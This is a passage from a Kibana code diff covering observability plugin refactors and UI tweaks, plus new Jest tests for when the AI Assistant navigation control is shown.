    ); }; diff --git a/x-pack/solutions/observability/plugins/infra/public/pages/metrics/metric_detail/index.tsx b/x-pack/solutions/observability/plugins/infra/public/pages/metrics/metric_detail/index.tsx index 064973ebd92f6..072c24a368415 100644 --- a/x-pack/solutions/observability/plugins/infra/public/pages/metrics/metric_detail/index.tsx +++ b/x-pack/solutions/observability/plugins/infra/public/pages/metrics/metric_detail/index.tsx @@ -5,7 +5,6 @@ * 2.0. */ -import { EuiErrorBoundary } from '@elastic/eui'; import React from 'react'; import { useRouteMatch } from 'react-router-dom'; import type { InventoryItemType } from '@kbn/metrics-data-access-plugin/common'; @@ -18,15 +17,11 @@ export const NodeDetail = () => { params: { type: nodeType }, } = useRouteMatch<{ type: InventoryItemType; node: string }>(); - return ( - - {nodeType === 'host' || nodeType === 'container' ? ( - - ) : ( - - - - )} - + return nodeType === 'host' || nodeType === 'container' ? ( + + ) : ( + + + ); }; diff --git a/x-pack/solutions/observability/plugins/infra/public/pages/metrics/settings.tsx b/x-pack/solutions/observability/plugins/infra/public/pages/metrics/settings.tsx index a10e26805cc2b..e71436f62e93e 100644 --- a/x-pack/solutions/observability/plugins/infra/public/pages/metrics/settings.tsx +++ b/x-pack/solutions/observability/plugins/infra/public/pages/metrics/settings.tsx @@ -5,7 +5,6 @@ * 2.0. */ -import { EuiErrorBoundary } from '@elastic/eui'; import React from 'react'; import { useKibana } from '@kbn/kibana-react-plugin/public'; import { SourceConfigurationSettings } from './settings/source_configuration_settings'; @@ -13,11 +12,9 @@ import { SourceConfigurationSettings } from './settings/source_configuration_set export const MetricsSettingsPage = () => { const { application, http } = useKibana().services; return ( - - - + ); }; diff --git a/x-pack/solutions/observability/plugins/infra/tsconfig.json b/x-pack/solutions/observability/plugins/infra/tsconfig.json index 3dfd0605f3d7a..2ffe5103e25a4 100644 --- a/x-pack/solutions/observability/plugins/infra/tsconfig.json +++ b/x-pack/solutions/observability/plugins/infra/tsconfig.json @@ -118,7 +118,8 @@ "@kbn/object-utils", "@kbn/coloring", "@kbn/saved-search-component", - "@kbn/core-saved-objects-server" + "@kbn/core-saved-objects-server", + "@kbn/shared-ux-error-boundary" ], "exclude": ["target/**/*"] } diff --git a/x-pack/solutions/observability/plugins/observability/common/custom_threshold_rule/get_view_in_app_url.test.ts b/x-pack/solutions/observability/plugins/observability/common/custom_threshold_rule/get_view_in_app_url.test.ts index efb2b6ac3f2f0..af4a47827efb9 100644 --- a/x-pack/solutions/observability/plugins/observability/common/custom_threshold_rule/get_view_in_app_url.test.ts +++ b/x-pack/solutions/observability/plugins/observability/common/custom_threshold_rule/get_view_in_app_url.test.ts @@ -302,7 +302,7 @@ describe('getViewInAppUrl', () => { { spaceId } ); }); - it('should call getRedirectUrl with dataViewSpec', () => { + it('should call getRedirectUrl with dataViewSpec of the AD-HOC data view', () => { const spaceId = 'mockedSpaceId'; const dataViewSpec = { id: 'mockedDataViewId', @@ -345,4 +345,39 @@ describe('getViewInAppUrl', () => { { spaceId } ); }); + it('should call getRedirectUrl with the id of the SAVED data view ', () => { + const spaceId = 'mockedSpaceId'; + const mockedDataViewId = 'uuid-mocked-dataView-id'; + const args: GetViewInAppUrlArgs = { + dataViewId: mockedDataViewId, + searchConfiguration: { + index: 'uuid-mockedDataViewId', + query: { + language: '', + query: 'mockedFilter', + }, + filter: [], + }, + logsLocator, + startedAt, + endedAt, + spaceId, + }; + + expect(getViewInAppUrl(args)).toBe('mockedGetRedirectUrl'); + expect(logsLocator.getRedirectUrl).toHaveBeenCalledWith( + { + dataset: undefined, + dataViewSpec: undefined, + dataViewId: mockedDataViewId, + timeRange: returnedTimeRange, + filters: [], + query: { + query: 'mockedFilter', + language: 'kuery', + }, + }, + { spaceId } + ); + }); }); diff --git a/x-pack/solutions/observability/plugins/observability/common/custom_threshold_rule/get_view_in_app_url.ts b/x-pack/solutions/observability/plugins/observability/common/custom_threshold_rule/get_view_in_app_url.ts index 67d8baf8e5977..d3e48ed532d33 100644 --- a/x-pack/solutions/observability/plugins/observability/common/custom_threshold_rule/get_view_in_app_url.ts +++ b/x-pack/solutions/observability/plugins/observability/common/custom_threshold_rule/get_view_in_app_url.ts @@ -58,9 +58,15 @@ export const getViewInAppUrl = ({ query.query = searchConfigurationQuery; } let dataViewSpec; - if (searchConfiguration?.index && !isEmpty(searchConfiguration?.index)) { + + if ( + typeof searchConfiguration?.index === 'object' && + searchConfiguration.index !== null && + !isEmpty(searchConfiguration.index) + ) { dataViewSpec = searchConfiguration.index as DataViewSpec; } + return logsLocator.getRedirectUrl( { dataViewId, diff --git a/x-pack/solutions/observability/plugins/observability/kibana.jsonc b/x-pack/solutions/observability/plugins/observability/kibana.jsonc index 494e2a77b7b65..7039ea5b3b5f4 100644 --- a/x-pack/solutions/observability/plugins/observability/kibana.jsonc +++ b/x-pack/solutions/observability/plugins/observability/kibana.jsonc @@ -28,7 +28,6 @@ "fieldFormats", "uiActions", "presentationUtil", - "exploratoryView", "features", "files", "inspector", @@ -50,6 +49,7 @@ ], "optionalPlugins": [ "discover", + "exploratoryView", "home", "usageCollection", "cloud", diff --git a/x-pack/solutions/observability/plugins/observability/public/navigation_tree.ts b/x-pack/solutions/observability/plugins/observability/public/navigation_tree.ts index 19da868609678..e19c39dc588e8 100644 --- a/x-pack/solutions/observability/plugins/observability/public/navigation_tree.ts +++ b/x-pack/solutions/observability/plugins/observability/public/navigation_tree.ts @@ -144,6 +144,29 @@ function createNavTree({ streamsAvailable }: { streamsAvailable?: boolean }) { }, ], }, + { + id: 'uptime', + title: i18n.translate('xpack.observability.obltNav.apm.uptimeGroupTitle', { + defaultMessage: 'Uptime', + }), + children: [ + { + link: 'uptime', + title: i18n.translate('xpack.observability.obltNav.apm.uptime.monitors', { + defaultMessage: 'Uptime monitors', + }), + }, + { + link: 'uptime:Certificates', + title: i18n.translate( + 'xpack.observability.obltNav.apm.uptime.tlsCertificates', + { + defaultMessage: 'TLS certificates', + } + ), + }, + ], + }, ], }, { diff --git a/x-pack/solutions/observability/plugins/observability/public/pages/alert_details/alert_details.tsx b/x-pack/solutions/observability/plugins/observability/public/pages/alert_details/alert_details.tsx index 38aeb79d3e266..dbb41500fb94c 100644 --- a/x-pack/solutions/observability/plugins/observability/public/pages/alert_details/alert_details.tsx +++ b/x-pack/solutions/observability/plugins/observability/public/pages/alert_details/alert_details.tsx @@ -121,7 +121,8 @@ export function AlertDetails() { // used to trigger refetch when rule edit flyout closes const onUpdate = useCallback(() => { refetch(); - }, [refetch]); + refetchRelatedDashboards(); + }, [refetch, refetchRelatedDashboards]); const [alertStatus, setAlertStatus] = useState(); const { euiTheme } = useEuiTheme(); const [sources, setSources] = useState(); diff --git a/x-pack/solutions/observability/plugins/observability/public/pages/alert_details/components/related_alerts/related_alerts_table.tsx b/x-pack/solutions/observability/plugins/observability/public/pages/alert_details/components/related_alerts/related_alerts_table.tsx index 30e2fa2f7465b..21da104104c70 100644 --- a/x-pack/solutions/observability/plugins/observability/public/pages/alert_details/components/related_alerts/related_alerts_table.tsx +++ b/x-pack/solutions/observability/plugins/observability/public/pages/alert_details/components/related_alerts/related_alerts_table.tsx @@ -7,6 +7,7 @@ import { EuiFlexGroup, EuiSpacer } from '@elastic/eui'; import React from 'react'; +import { i18n } from '@kbn/i18n'; import { ALERT_START, ALERT_UUID } from '@kbn/rule-data-utils'; import { AlertsTable } from '@kbn/response-ops-alerts-table'; import { SortOrder } from '@elastic/elasticsearch/lib/api/types'; @@ -95,6 +96,15 @@ export function RelatedAlertsTable({ alertData }: Props) { defaultHeight: 'auto', }} height="600px" + emptyState={{ + messageTitle: i18n.translate('xpack.observability.relatedAlertsTable.emptyState.title', { + defaultMessage: 'No related alerts found', + }), + messageBody: i18n.translate('xpack.observability.relatedAlertsTable.emptyState.body', { + defaultMessage: + 'No existing alerts match our related alerts criteria at this time. This may change if more alerts appear, so you may want to check back later.', + }), + }} /> ); diff --git a/x-pack/solutions/observability/plugins/observability/public/pages/alert_details/hooks/use_add_suggested_dashboard.test.ts b/x-pack/solutions/observability/plugins/observability/public/pages/alert_details/hooks/use_add_suggested_dashboard.test.ts index 35e3ee84fccc5..3b45a9dc3a471 100644 --- a/x-pack/solutions/observability/plugins/observability/public/pages/alert_details/hooks/use_add_suggested_dashboard.test.ts +++ b/x-pack/solutions/observability/plugins/observability/public/pages/alert_details/hooks/use_add_suggested_dashboard.test.ts @@ -143,7 +143,7 @@ describe('useAddSuggestedDashboards', () => { // Check that notifications.toasts.addSuccess was called expect(mockUseKibanaReturnValue.services.notifications.toasts.addSuccess).toHaveBeenCalledWith({ title: 'Added to linked dashboard', - text: `From now on this dashboard will be linked to all alerts related to ${TEST_RULE_NAME}`, + text: `From now on, this dashboard will be linked to all alerts triggered by this rule`, }); }); diff --git a/x-pack/solutions/observability/plugins/observability/public/pages/alert_details/hooks/use_add_suggested_dashboard.ts b/x-pack/solutions/observability/plugins/observability/public/pages/alert_details/hooks/use_add_suggested_dashboard.ts index 881b59acd043a..150056f1b4366 100644 --- a/x-pack/solutions/observability/plugins/observability/public/pages/alert_details/hooks/use_add_suggested_dashboard.ts +++ b/x-pack/solutions/observability/plugins/observability/public/pages/alert_details/hooks/use_add_suggested_dashboard.ts @@ -39,30 +39,21 @@ export const useAddSuggestedDashboards = ({ [notifications.toasts] ); - const onSuccess = useCallback( - async (data: Rule) => { - if (!addingDashboardId) - throw new Error('Adding dashboard id not defined, this should never occur'); - await onSuccessAddSuggestedDashboard(); - setAddingDashboardId(undefined); - notifications.toasts.addSuccess({ - title: i18n.translate( - 'xpack.observability.alertDetails.addSuggestedDashboardSuccess.title', - { - defaultMessage: 'Added to linked dashboard', - } - ), - text: i18n.translate('xpack.observability.alertDetails.addSuggestedDashboardSuccess.text', { - defaultMessage: - 'From now on this dashboard will be linked to all alerts related to {ruleName}', - values: { - ruleName: data.name, - }, - }), - }); - }, - [addingDashboardId, notifications.toasts, onSuccessAddSuggestedDashboard] - ); + const onSuccess = useCallback(async () => { + if (!addingDashboardId) + throw new Error('Adding dashboard id not defined, this should never occur'); + await onSuccessAddSuggestedDashboard(); + setAddingDashboardId(undefined); + notifications.toasts.addSuccess({ + title: i18n.translate('xpack.observability.alertDetails.addSuggestedDashboardSuccess.title', { + defaultMessage: 'Added to linked dashboard', + }), + text: i18n.translate('xpack.observability.alertDetails.addSuggestedDashboardSuccess.text', { + defaultMessage: + 'From now on, this dashboard will be linked to all alerts triggered by this rule', + }), + }); + }, [addingDashboardId, notifications.toasts, onSuccessAddSuggestedDashboard]); const { mutateAsync: updateRule } = useUpdateRule({ http, onError, onSuccess }); diff --git a/x-pack/solutions/observability/plugins/observability/public/pages/overview/components/sections/ux/ux_section.tsx b/x-pack/solutions/observability/plugins/observability/public/pages/overview/components/sections/ux/ux_section.tsx index 56751cdcb6937..6eca5b4d17e01 100644 --- a/x-pack/solutions/observability/plugins/observability/public/pages/overview/components/sections/ux/ux_section.tsx +++ b/x-pack/solutions/observability/plugins/observability/public/pages/overview/components/sections/ux/ux_section.tsx @@ -29,8 +29,6 @@ export function UXSection({ bucketSize }: Props) { const { forceUpdate, hasDataMap } = useHasData(); const { services } = useKibana(); - const { ExploratoryViewEmbeddable } = services.exploratoryView; - const { relativeStart, relativeEnd, absoluteStart, absoluteEnd, lastUpdated } = useDatePickerContext(); const uxHasDataResponse = hasDataMap.ux; @@ -79,9 +77,10 @@ export function UXSection({ bucketSize }: Props) { ] ); - if (!uxHasDataResponse?.hasData) { + if (!uxHasDataResponse?.hasData || !services.exploratoryView) { return null; } + const ExploratoryViewEmbeddable = services.exploratoryView.ExploratoryViewEmbeddable; const isLoading = status === FETCH_STATUS.LOADING; diff --git a/x-pack/solutions/observability/plugins/observability/public/plugin.ts b/x-pack/solutions/observability/plugins/observability/public/plugin.ts index 5ef2bc717498f..77843233799ab 100644 --- a/x-pack/solutions/observability/plugins/observability/public/plugin.ts +++ b/x-pack/solutions/observability/plugins/observability/public/plugin.ts @@ -144,7 +144,7 @@ export interface ObservabilityPublicPluginsStart { dataViewEditor: DataViewEditorStart; discover: DiscoverStart; embeddable: EmbeddableStart; - exploratoryView: ExploratoryViewPublicStart; + exploratoryView?: ExploratoryViewPublicStart; fieldFormats: FieldFormatsStart; guidedOnboarding?: GuidedOnboardingPluginStart; lens: LensPublicStart; diff --git a/x-pack/solutions/observability/plugins/observability/server/services/alert_data.ts b/x-pack/solutions/observability/plugins/observability/server/services/alert_data.ts index 8eba20f25705b..a34978562891c 100644 --- a/x-pack/solutions/observability/plugins/observability/server/services/alert_data.ts +++ b/x-pack/solutions/observability/plugins/observability/server/services/alert_data.ts @@ -6,9 +6,7 @@ */ import { omit } from 'lodash'; -import { CustomThresholdParams } from '@kbn/response-ops-rule-params/custom_threshold'; import type { AlertsClient } from '@kbn/rule-registry-plugin/server'; -import { DataViewSpec } from '@kbn/response-ops-rule-params/common'; import { ALERT_RULE_PARAMETERS, ALERT_RULE_TYPE_ID, @@ -16,6 +14,43 @@ import { OBSERVABILITY_THRESHOLD_RULE_TYPE_ID, fields as TECHNICAL_ALERT_FIELDS, } from '@kbn/rule-data-utils'; +import { CustomThresholdParams } from '@kbn/response-ops-rule-params/custom_threshold'; +import { DataViewSpec } from '@kbn/response-ops-rule-params/common'; +import { + isSuggestedDashboardsValidRuleTypeId, + SuggestedDashboardsValidRuleTypeIds, +} from './helpers'; + +// TS will make sure that if we add a new supported rule type id we had the corresponding function to get the relevant rule fields +const getRelevantRuleFieldsMap: Record< + SuggestedDashboardsValidRuleTypeIds, + (ruleParams: { [key: string]: unknown }) => Set +> = { + [OBSERVABILITY_THRESHOLD_RULE_TYPE_ID]: (customThresholdParams) => { + const relevantFields = new Set(); + const metrics = (customThresholdParams as CustomThresholdParams).criteria[0].metrics; + metrics.forEach((metric) => { + // The property "field" is of type string | never but it collapses to just string + // We should probably avoid typing field as never and just omit it from the type to avoid situations like this one + if ('field' in metric) relevantFields.add(metric.field); + }); + return relevantFields; + }, +}; + +const getRuleQueryIndexMap: Record< + SuggestedDashboardsValidRuleTypeIds, + (ruleParams: { [key: string]: unknown }) => string | null +> = { + [OBSERVABILITY_THRESHOLD_RULE_TYPE_ID]: (customThresholdParams) => { + const { + searchConfiguration: { index }, + } = customThresholdParams as CustomThresholdParams; + if (typeof index === 'object') return (index as DataViewSpec)?.id || null; + if (typeof index === 'string') return index; + return null; + }, +}; export class AlertData { constructor(private alert: Awaited>) {} @@ -30,21 +65,14 @@ export class AlertData { getRelevantRuleFields(): Set { const ruleParameters = this.getRuleParameters(); - const relevantFields = new Set(); if (!ruleParameters) { throw new Error('No rule parameters found'); } - switch (this.getRuleTypeId()) { - case OBSERVABILITY_THRESHOLD_RULE_TYPE_ID: - const customThresholdParams = ruleParameters as CustomThresholdParams; - const metrics = customThresholdParams.criteria[0].metrics; - metrics.forEach((metric) => { - relevantFields.add(metric.field); - }); - return relevantFields; - default: - return relevantFields; - } + const ruleTypeId = this.getRuleTypeId(); + + return isSuggestedDashboardsValidRuleTypeId(ruleTypeId) + ? getRelevantRuleFieldsMap[ruleTypeId](ruleParameters) + : new Set(); } getRelevantAADFields(): string[] { @@ -74,17 +102,10 @@ export class AlertData { if (!ruleParameters) { throw new Error('No rule parameters found'); } - switch (ruleTypeId) { - case OBSERVABILITY_THRESHOLD_RULE_TYPE_ID: - const customThresholdParams = ruleParameters as CustomThresholdParams; - if (typeof customThresholdParams.searchConfiguration.index === 'object') - return (customThresholdParams.searchConfiguration.index as DataViewSpec)?.id || null; - if (typeof customThresholdParams.searchConfiguration.index === 'string') - return customThresholdParams.searchConfiguration.index; - return null; - default: - return null; - } + + return isSuggestedDashboardsValidRuleTypeId(ruleTypeId) + ? getRuleQueryIndexMap[ruleTypeId](ruleParameters) + : null; } getRuleTypeId(): string | undefined { diff --git a/x-pack/solutions/observability/plugins/observability/server/services/helpers.ts b/x-pack/solutions/observability/plugins/observability/server/services/helpers.ts new file mode 100644 index 0000000000000..0739ee20b46bb --- /dev/null +++ b/x-pack/solutions/observability/plugins/observability/server/services/helpers.ts @@ -0,0 +1,22 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { OBSERVABILITY_THRESHOLD_RULE_TYPE_ID } from '@kbn/rule-data-utils'; + +const SUGGESTED_DASHBOARDS_VALID_RULE_TYPE_IDS = [OBSERVABILITY_THRESHOLD_RULE_TYPE_ID] as const; + +export type SuggestedDashboardsValidRuleTypeIds = + (typeof SUGGESTED_DASHBOARDS_VALID_RULE_TYPE_IDS)[number]; + +export const isSuggestedDashboardsValidRuleTypeId = ( + ruleTypeId?: string +): ruleTypeId is SuggestedDashboardsValidRuleTypeIds => { + return ( + ruleTypeId !== undefined && + Object.values(SUGGESTED_DASHBOARDS_VALID_RULE_TYPE_IDS).includes(ruleTypeId) + ); +}; diff --git a/x-pack/solutions/observability/plugins/observability/server/services/related_dashboards_client.test.ts b/x-pack/solutions/observability/plugins/observability/server/services/related_dashboards_client.test.ts index 89ff06631765a..81ba2c2ebaf76 100644 --- a/x-pack/solutions/observability/plugins/observability/server/services/related_dashboards_client.test.ts +++ b/x-pack/solutions/observability/plugins/observability/server/services/related_dashboards_client.test.ts @@ -10,6 +10,7 @@ import { Logger } from '@kbn/core/server'; import { IContentClient } from '@kbn/content-management-plugin/server/types'; import { InvestigateAlertsClient } from './investigate_alerts_client'; import { AlertData } from './alert_data'; +import { OBSERVABILITY_THRESHOLD_RULE_TYPE_ID } from '@kbn/rule-data-utils'; describe('RelatedDashboardsClient', () => { let logger: jest.Mocked; @@ -21,6 +22,7 @@ describe('RelatedDashboardsClient', () => { getAllRelevantFields: jest.fn().mockReturnValue(['field1', 'field2']), getRuleQueryIndex: jest.fn().mockReturnValue('index1'), getRuleId: jest.fn().mockReturnValue('rule-id'), + getRuleTypeId: jest.fn().mockReturnValue(OBSERVABILITY_THRESHOLD_RULE_TYPE_ID), } as unknown as AlertData; beforeEach(() => { @@ -59,6 +61,8 @@ describe('RelatedDashboardsClient', () => { alertId = 'test-alert-id'; client = new RelatedDashboardsClient(logger, dashboardClient, alertsClient, alertId); + + jest.clearAllMocks(); }); describe('fetchSuggestedDashboards', () => { @@ -378,6 +382,20 @@ describe('RelatedDashboardsClient', () => { }, ]); }); + + it('should not fetch suggested dashboards when the rule type id is not supported', async () => { + const mockAlert = { + ...baseMockAlert, + getRuleTypeId: jest.fn().mockReturnValue('unsupported-type-id'), + } as unknown as AlertData; + alertsClient.getAlertById.mockResolvedValue(mockAlert); + + const result = await client.fetchRelatedDashboards(); + + expect(result.suggestedDashboards).toEqual([]); + expect(mockAlert.getRuleTypeId).toHaveBeenCalled(); + expect(mockAlert.getAllRelevantFields).not.toHaveBeenCalled(); + }); }); describe('fetchDashboards', () => { diff --git a/x-pack/solutions/observability/plugins/observability/server/services/related_dashboards_client.ts b/x-pack/solutions/observability/plugins/observability/server/services/related_dashboards_client.ts index 074b2fc3dfab3..d3b93b54693b1 100644 --- a/x-pack/solutions/observability/plugins/observability/server/services/related_dashboards_client.ts +++ b/x-pack/solutions/observability/plugins/observability/server/services/related_dashboards_client.ts @@ -22,6 +22,7 @@ import type { } from '@kbn/observability-schema'; import type { InvestigateAlertsClient } from './investigate_alerts_client'; import type { AlertData } from './alert_data'; +import { isSuggestedDashboardsValidRuleTypeId } from './helpers'; type Dashboard = SavedObjectsFindResult; export class RelatedDashboardsClient { @@ -71,6 +72,8 @@ export class RelatedDashboardsClient { private async fetchSuggestedDashboards(): Promise { const alert = this.checkAlert(); + if (!isSuggestedDashboardsValidRuleTypeId(alert.getRuleTypeId())) return []; + const allSuggestedDashboards = new Set(); const relevantDashboardsById = new Map(); const index = this.getRuleQueryIndex(); diff --git a/x-pack/solutions/observability/plugins/observability/tsconfig.json b/x-pack/solutions/observability/plugins/observability/tsconfig.json index baa1f1f88bd15..9d8a9590fd6f4 100644 --- a/x-pack/solutions/observability/plugins/observability/tsconfig.json +++ b/x-pack/solutions/observability/plugins/observability/tsconfig.json @@ -125,5 +125,7 @@ "@kbn/core-pricing-browser-mocks", "@kbn/esql", ], - "exclude": ["target/**/*"] + "exclude": [ + "target/**/*" + ] } diff --git a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/kibana.jsonc b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/kibana.jsonc index 8d509e50059a7..5bb9739cd58bf 100644 --- a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/kibana.jsonc +++ b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/kibana.jsonc @@ -1,19 +1,14 @@ { "type": "plugin", "id": "@kbn/observability-ai-assistant-app-plugin", - "owner": [ - "@elastic/obs-ai-assistant" - ], + "owner": ["@elastic/obs-ai-assistant"], "group": "observability", "visibility": "private", "plugin": { "id": "observabilityAIAssistantApp", "browser": true, "server": true, - "configPath": [ - "xpack", - "observabilityAIAssistantApp" - ], + "configPath": ["xpack", "observabilityAIAssistantApp"], "requiredPlugins": [ "aiAssistantManagementSelection", "observabilityAIAssistant", @@ -34,16 +29,10 @@ "inference", "logsDataAccess", "spaces", - "slo", "llmTasks" ], - "optionalPlugins": [ - "cloud" - ], - "requiredBundles": [ - "kibanaReact", - "esqlDataGrid" - ], + "optionalPlugins": ["cloud"], + "requiredBundles": ["kibanaReact", "esqlDataGrid"], "extraPublicDirs": [] } } diff --git a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/public/hooks/is_nav_control_visible.test.tsx b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/public/hooks/is_nav_control_visible.test.tsx new file mode 100644 index 0000000000000..fb4a5e1a7b685 --- /dev/null +++ b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/public/hooks/is_nav_control_visible.test.tsx @@ -0,0 +1,237 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { renderHook } from '@testing-library/react'; +import { useIsNavControlVisible } from './is_nav_control_visible'; +import { CoreStart } from '@kbn/core/public'; +import { ObservabilityAIAssistantAppPluginStartDependencies } from '../types'; +import { of } from 'rxjs'; +import { AIAssistantType } from '@kbn/ai-assistant-management-plugin/public'; + +describe('isNavControlVisible', () => { + describe('with solution:oblt', () => { + it('returns true when the current app is discover and the ai assistant type is observability', () => { + const coreStart = { + application: { + currentAppId$: of('discover'), + applications$: of( + new Map([['discover', { id: 'discover', category: { id: 'kibana' } }]]) + ), + }, + } as unknown as CoreStart; + + const pluginsStart = { + aiAssistantManagementSelection: { + aiAssistantType$: of(AIAssistantType.Observability), + }, + spaces: { + getActiveSpace$: () => of({ solution: 'oblt' }), + }, + } as unknown as ObservabilityAIAssistantAppPluginStartDependencies; + + const { result } = renderHook(() => useIsNavControlVisible({ coreStart, pluginsStart })); + + expect(result.current.isVisible).toBe(true); + }); + + it('returns true when the current app is discover and the ai assistant type is default', () => { + const coreStart = { + application: { + currentAppId$: of('discover'), + applications$: of( + new Map([['discover', { id: 'discover', category: { id: 'kibana' } }]]) + ), + }, + } as unknown as CoreStart; + + const pluginsStart = { + aiAssistantManagementSelection: { + aiAssistantType$: of(AIAssistantType.Default), + }, + spaces: { + getActiveSpace$: () => of({ solution: 'oblt' }), + }, + } as unknown as ObservabilityAIAssistantAppPluginStartDependencies; + + const { result } = renderHook(() => useIsNavControlVisible({ coreStart, pluginsStart })); + + expect(result.current.isVisible).toBe(true); + }); + + it('returns true when the current app is observability and the ai assistant type is default', () => { + const coreStart = { + application: { + currentAppId$: of('observability'), + applications$: of( + new Map([['observability', { id: 'observability', category: { id: 'observability' } }]]) + ), + }, + } as unknown as CoreStart; + + const pluginsStart = { + aiAssistantManagementSelection: { + aiAssistantType$: of(AIAssistantType.Default), + }, + spaces: { + getActiveSpace$: () => of({ solution: 'oblt' }), + }, + } as unknown as ObservabilityAIAssistantAppPluginStartDependencies; + + const { result } = renderHook(() => useIsNavControlVisible({ coreStart, pluginsStart })); + + expect(result.current.isVisible).toBe(true); + }); + + it('returns true when the current app is search and the ai assistant type is default', () => { + const coreStart = { + application: { + currentAppId$: of('search'), + applications$: of( + new Map([['search', { id: 'search', category: { id: 'enterpriseSearch' } }]]) + ), + }, + } as unknown as CoreStart; + + const pluginsStart = { + aiAssistantManagementSelection: { + aiAssistantType$: of(AIAssistantType.Default), + }, + spaces: { + getActiveSpace$: () => of({ solution: 'oblt' }), + }, + } as unknown as ObservabilityAIAssistantAppPluginStartDependencies; + + const { result } = renderHook(() => useIsNavControlVisible({ coreStart, pluginsStart })); + + expect(result.current.isVisible).toBe(true); + }); + + it('returns false when the current app is security and the ai assistant type is observability', () => { + const coreStart = { + application: { + currentAppId$: of('security'), + applications$: of( + new Map([['security', { id: 'security', category: { id: 'securitySolution' } }]]) + ), + }, + } as unknown as CoreStart; + + const pluginsStart = { + aiAssistantManagementSelection: { + aiAssistantType$: of(AIAssistantType.Observability), + }, + spaces: { + getActiveSpace$: () => of({ solution: 'oblt' }), + }, + } as unknown as ObservabilityAIAssistantAppPluginStartDependencies; + + const { result } = renderHook(() => useIsNavControlVisible({ coreStart, pluginsStart })); + + expect(result.current.isVisible).toBe(false); + }); + + it('returns false when the ai assistant type is never', () => { + const coreStart = { + application: { + currentAppId$: of('observability'), + applications$: of( + new Map([['observability', { id: 'observability', category: { id: 'observability' } }]]) + ), + }, + } as unknown as CoreStart; + + const pluginsStart = { + aiAssistantManagementSelection: { + aiAssistantType$: of(AIAssistantType.Never), + }, + spaces: { + getActiveSpace$: () => of({ solution: 'oblt' }), + }, + } as unknown as ObservabilityAIAssistantAppPluginStartDependencies; + + const { result } = renderHook(() => useIsNavControlVisible({ coreStart, pluginsStart })); + + expect(result.current.isVisible).toBe(false); + }); + }); + + describe('with solution:es', () => { + it('returns true when the current space is es and the ai assistant type is observability', () => { + const coreStart = { + application: { + currentAppId$: of('discover'), + applications$: of( + new Map([['discover', { id: 'discover', category: { id: 'kibana' } }]]) + ), + }, + } as unknown as CoreStart; + + const pluginsStart = { + aiAssistantManagementSelection: { + aiAssistantType$: of(AIAssistantType.Observability), + }, + spaces: { + getActiveSpace$: () => of({ solution: 'es' }), + }, + } as unknown as ObservabilityAIAssistantAppPluginStartDependencies; + + const { result } = renderHook(() => useIsNavControlVisible({ coreStart, pluginsStart })); + + expect(result.current.isVisible).toBe(true); + }); + + it('returns false when the current space is es and the ai assistant type is never', () => { + const coreStart = { + application: { + currentAppId$: of('discover'), + applications$: of( + new Map([['discover', { id: 'discover', category: { id: 'kibana' } }]]) + ), + }, + } as unknown as CoreStart; + + const pluginsStart = { + aiAssistantManagementSelection: { + aiAssistantType$: of(AIAssistantType.Never), + }, + spaces: { + getActiveSpace$: () => of({ solution: 'es' }), + }, + } as unknown as ObservabilityAIAssistantAppPluginStartDependencies; + + const { result } = renderHook(() => useIsNavControlVisible({ coreStart, pluginsStart })); + + expect(result.current.isVisible).toBe(false); + }); + }); + + describe('with classic', () => { + it('returns false when the ai assistant type is default', () => { + const coreStart = { + application: { + currentAppId$: of('discover'), + applications$: of( + new Map([['discover', { id: 'discover', category: { id: 'kibana' } }]]) + ), + }, + } as unknown as CoreStart; + + const pluginsStart = { + aiAssistantManagementSelection: { + aiAssistantType$: of(AIAssistantType.Default), + }, + spaces: { + getActiveSpace$: () => of({ solution: 'classic' }), + }, + } as unknown as ObservabilityAIAssistantAppPluginStartDependencies; + + const { result } = renderHook(() => useIsNavControlVisible({ coreStart, pluginsStart })); + + expect(result.current.isVisible).toBe(false); + }); + }); +}); diff --git a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/public/hooks/is_nav_control_visible.tsx b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/public/hooks/is_nav_control_visible.tsx index c1dad65456200..e8fb82fb22ce0 100644 --- a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/public/hooks/is_nav_control_visible.tsx +++ b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/public/hooks/is_nav_control_visible.tsx @@ -9,6 +9,7 @@ import { useEffect, useState } from 'react'; import { combineLatest } from 'rxjs'; import { CoreStart, DEFAULT_APP_CATEGORIES, type PublicAppInfo } from '@kbn/core/public'; import { AIAssistantType } from '@kbn/ai-assistant-management-plugin/public'; +import { Space } from '@kbn/spaces-plugin/common'; import { ObservabilityAIAssistantAppPluginStartDependencies } from '../types'; interface UseIsNavControlVisibleProps { @@ -19,7 +20,8 @@ interface UseIsNavControlVisibleProps { function getVisibility( appId: string | undefined, applications: ReadonlyMap, - preferredAssistantType: AIAssistantType + preferredAssistantType: AIAssistantType, + space: Space ) { if (preferredAssistantType === AIAssistantType.Never) { return false; @@ -28,7 +30,11 @@ function getVisibility( const categoryId = (appId && applications.get(appId)?.category?.id) || DEFAULT_APP_CATEGORIES.kibana.id; - if (preferredAssistantType === AIAssistantType.Observability) { + if ( + preferredAssistantType === AIAssistantType.Observability || + space.solution === 'es' || + space.solution === 'oblt' + ) { return categoryId !== DEFAULT_APP_CATEGORIES.security.id; } @@ -42,21 +48,24 @@ export function useIsNavControlVisible({ coreStart, pluginsStart }: UseIsNavCont const [isVisible, setIsVisible] = useState(false); const { currentAppId$, applications$ } = coreStart.application; - const { aiAssistantManagementSelection } = pluginsStart; + const { aiAssistantManagementSelection, spaces } = pluginsStart; + + const space$ = spaces.getActiveSpace$(); useEffect(() => { const appSubscription = combineLatest([ currentAppId$, applications$, aiAssistantManagementSelection.aiAssistantType$, + space$, ]).subscribe({ - next: ([appId, applications, preferredAssistantType]) => { - setIsVisible(getVisibility(appId, applications, 